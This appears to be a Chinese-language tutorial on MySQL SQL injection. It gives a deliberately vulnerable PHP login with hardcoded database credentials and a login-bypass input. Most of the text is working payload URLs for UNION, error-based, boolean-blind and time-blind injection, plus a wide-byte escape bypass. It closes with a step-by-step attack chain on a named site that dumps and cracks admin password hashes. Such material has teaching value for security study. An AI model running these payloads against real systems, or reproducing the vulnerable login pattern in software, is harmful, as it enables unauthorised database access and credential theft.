🛠️ 使用的工具
一、SQL注入的本质
SQL 注入就是指 Web 应用程序对用户输入的数据合法性没有过滤或者是判断,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
🎯 数据和代码未分离

一句话总结:攻击者输入的字符串,被数据库当成了SQL命令来执行。
🔓 最经典的例子:登录绕过
- 存在漏洞的后端代码(PHP + MySQL)
<?php
// ✅ 在文件最开头添加(必须在任何输出之前)
header('Content-Type: text/html; charset=utf-8');
// 数据库连接配置
$servername = "localhost";
$username_db = "root";
$password_db = "123456";
$dbname = "test";
// 创建连接
$conn = mysqli_connect($servername, $username_db, $password_db, $dbname);
// 检查连接
if (!$conn) {
die("连接失败: " . mysqli_connect_error());
}
// 获取用户输入(来自POST请求)
$username = $_POST['username'];
$password = $_POST['password'];
// ⚠️ 危险!直接拼接用户输入(存在SQL注入漏洞)
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
// 执行查询
$result = mysqli_query($conn, $sql);
// 判断登录是否成功
if (mysqli_num_rows($result) > 0) {
// 登录成功
$user = mysqli_fetch_assoc($result);
echo "登录成功!欢迎 " . $user['username'];
// 可以设置session等操作
// session_start();
// $_SESSION['user'] = $user;
} else {
// 登录失败
echo "用户名或密码错误!";
}
// 关闭连接
mysqli_close($conn);
?>
正常用户输入:
- username:
john - password:
abc123
SELECT * FROM users WHERE username='john' AND password='abc123'

攻击者输入(登录绕过):
- username:
admin'# - password:
任意值
SELECT * FROM users WHERE username='admin' # ' AND password='任意值'


二、MySQL注入的基础知识
💬 MySQL中的注释符号
| 符号 | 作用 | 示例 |
|---|---|---|
-- | 单行注释(后面必须有空格) | admin' -- |
# | 单行注释 | admin' # |
/* */ | 多行注释/内联注释 | admin' /*注释内容*/ |
注意:--后面必须有空格或特殊字符(如--+,+会被解析为空格)
🔗 MySQL中的字符串连接
| 方式 | 语法 | 示例 |
|---|---|---|
| CONCAT()函数 | CONCAT(str1, str2) | CONCAT('user','name') → 'username' |
| CONCAT_WS() | CONCAT_WS(separator, str1, str2) | CONCAT_WS('-','2024','01','15') → '2024-01-15' |
| GROUP_CONCAT() | GROUP_CONCAT(column) | 将多行合并为一行 |
⚙️ MySQL重要内置函数(注入常用)
-- 📁 数据库信息
DATABASE() -- 当前数据库名
USER() -- 当前用户
VERSION() -- MySQL版本
@@datadir -- 数据目录路径
-- ✂️ 字符串操作
SUBSTRING(str, pos, len) -- 截取字符串
MID(str, pos, len) -- 同上
LEFT(str, len) -- 从左取
RIGHT(str, len) -- 从右取
LENGTH(str) -- 字符串长度
ASCII(str) -- 返回ASCII码
ORD(str) -- 返回字符编码
-- 🎯 条件判断
IF(condition, true_val, false_val) -- MySQL特有
CASE WHEN condition THEN true ELSE false END
-- ⏰ 时间函数
SLEEP(seconds) -- 延迟执行(盲注利器)
BENCHMARK(count, expr) -- 重复执行(另一种延时)
-- 💥 报错注入专用
EXTRACTVALUE(xml, xpath) -- XPath报错
UPDATEXML(xml, xpath, new) -- XPath报错
EXP(709) -- 超出范围报错
GTID_SUBSET() -- 内部函数报错
🗄️ MySQL系统库 information_schema
这是MySQL注入的核心知识!information_schema是MySQL自带的数据库,存储了所有数据库的元数据。
- 最重要的三张表
| 表名 | 作用 | 关键字段 |
|---|---|---|
schemata | 记录所有数据库 | schema_name(数据库名) |
tables | 记录所有表 | table_schema(所属数据库)、table_name(表名) |
columns | 记录所有列 | table_name(所属表)、column_name(列名) |
- 查询所有数据库
SELECT schema_name FROM information_schema.schemata;

- 查询某个数据库的所有表
SELECT table_name FROM information_schema.tables WHERE table_schema='test';

- 查询某个表的所有列
SELECT column_name FROM information_schema.columns WHERE table_name='users';

三、MySQL注入的四种主要类型
🔵 联合查询注入(UNION注入)
- 判断注入点
输入:http://localhost/sqli/Less-1/?id=1'
返回:报错信息,说明存在注入

- 判断字段数量
http://localhost/sqli/Less-1/?id=1' ORDER BY 3 --+
页面正常(有3个字段)
http://localhost/sqli/Less-1/?id=1' ORDER BY 4 --+
页面报错(没有第4个字段)
结论:字段数 = 3

- 判断显示位
http://localhost/sqli/Less-1/?id=-1' UNION SELECT 1,2,3 --+

看到页面上显示2和3 → 说明第2、3个位置可以显示数据
- 获取数据库名
http://localhost/sqli/Less-1/?id=-1' UNION SELECT 1,DATABASE(),3 --+

返回:security(当前数据库名)
- 获取所有表名
http://localhost/sqli/Less-1/?id=-1' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='security' --+

- 获取users表的列名
http://localhost/sqli/Less-1/?id=-1' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users' --+

- 提取数据
http://localhost/sqli/Less-1/?id=-1' UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) FROM users --+

🟠 报错注入
- 常用函数对比
| 函数 | 限制 | 说明 |
|---|---|---|
updatexml() | 返回值长度32 | MySQL 5.1.5+ |
extractvalue() | 返回值长度32 | MySQL 5.1.5+ |
floor(rand(0)*2) | 无长度限制但会重复 | 通用性最好 |
exp() | 数值>709报错 | MySQL 5.5.5+ |
GeometryCollection() | – | 需要空间函数支持 |
- 查数据库名
http://localhost/sqli/Less-1/?id=1' AND updatexml(1,concat(0x7e,database(),0x7e),1) --+

- 查表名
http://localhost/sqli/Less-1/?id=1' AND updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),0x7e),1) --+

- 查列名
http://localhost/sqli/Less-1/?id=1' AND updatexml(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' and table_schema='security' LIMIT 1,1),0x7e),1) --+

- 查数据
http://localhost/sqli/Less-1/?id=1' AND updatexml(1,concat(0x7e,(SELECT concat(username,0x3a,password) FROM users LIMIT 0,1),0x7e),1) --+

🟡 布尔盲注
- 判断数据库名长度是否=8
http://localhost/sqli/Less-8/?id=1' AND LENGTH(database())=8 --+
如果页面正常 → 长度为8

- 猜解数据库名的第一个字符
-- 判断第一个字符的ASCII码是否=115(即's')
http://localhost/sqli/Less-8/?id=1' AND ASCII(SUBSTRING(database(),1,1))=115 --+
如果页面正常 → 第一个字符是's'

- 完整猜解流程(需要脚本或手工)

🟢 时间盲注
- 数据库名第一个字符是’s’,则延迟5秒
http://localhost/sqli/Less-9/?id=1' AND IF(ASCII(SUBSTRING(database(),1,1))=115, SLEEP(5), 0) --

同样的,逐字猜测即可
四、MySQL注入中的关键技术细节
🔢 如何判断字段数
- ORDER BY
ORDER BY 1 -- 正常
ORDER BY 2 -- 正常
ORDER BY 3 -- 正常
ORDER BY 4 -- 报错 → 字段数=3
- UNION SELECT
UNION SELECT NULL -- 正常
UNION SELECT NULL,NULL -- 正常
UNION SELECT NULL,NULL,NULL -- 正常
UNION SELECT NULL,NULL,NULL,NULL -- 报错 → 字段数=3
📈 判断当前表有多少条数据
-- 统计users表的数据量
AND (SELECT COUNT(*) FROM users)=4
🌏 单引号被过滤怎么办?——宽字节注入
背景:当使用了addslashes()或mysql_real_escape_string()时,单引号'会被转义成\',导致注入失败。
原理:GBK等双字节字符集中,%df' → %df\' → %df%5c%27,其中%df%5c被解析成一个汉字,%27(单引号)逃逸出来。
-- 正常注入被转义
输入:1'
转义后:1\'
实际SQL:WHERE id='1\'' -- 单引号被转义,无法闭合
-- 宽字节注入
输入:1%df'
转义后:1%df\'
因为%df和%5c组成一个汉字,%27独立
实际SQL:WHERE id='1�'' -- 单引号成功逃逸
五、真实场景:完整的SQL注入攻击流程
假设我们面对一个存在UNION注入的页面:http://target.com/product.php?id=1
- 完整攻击链路
-- 1️⃣ 确认注入点
http://target.com/product.php?id=1' --+ 报错 → 存在注入
-- 2️⃣ 获取数据库版本(判断可用手法)
http://target.com/product.php?id=-1' UNION SELECT 1,VERSION(),3 --+
返回:5.7.33 → 信息量充足
-- 3️⃣ 获取当前数据库
http://target.com/product.php?id=-1' UNION SELECT 1,DATABASE(),3 --+
返回:ecommerce
-- 4️⃣ 获取所有数据库
http://target.com/product.php?id=-1' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata --+
返回:information_schema,mysql,performance_schema,ecommerce,admin
-- 5️⃣ 获取admin数据库的表
http://target.com/product.php?id=-1' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='admin' --+
返回:admins,config,logs
-- 6️⃣ 获取admins表的列
http://target.com/product.php?id=-1' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='admins' --+
返回:id,username,password,role,last_login
-- 7️⃣ 提取管理员凭证
http://target.com/product.php?id=-1' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password,0x3b),3 FROM admin.admins --+
返回:admin:5f4dcc3b5aa765d61d8327deb882cf99;manager:7c6a180b36896a0a8c02787eeafb0e4c
-- 8️⃣ MD5解密得到明文密码
5f4dcc3b5aa765d61d8327deb882cf99 → password


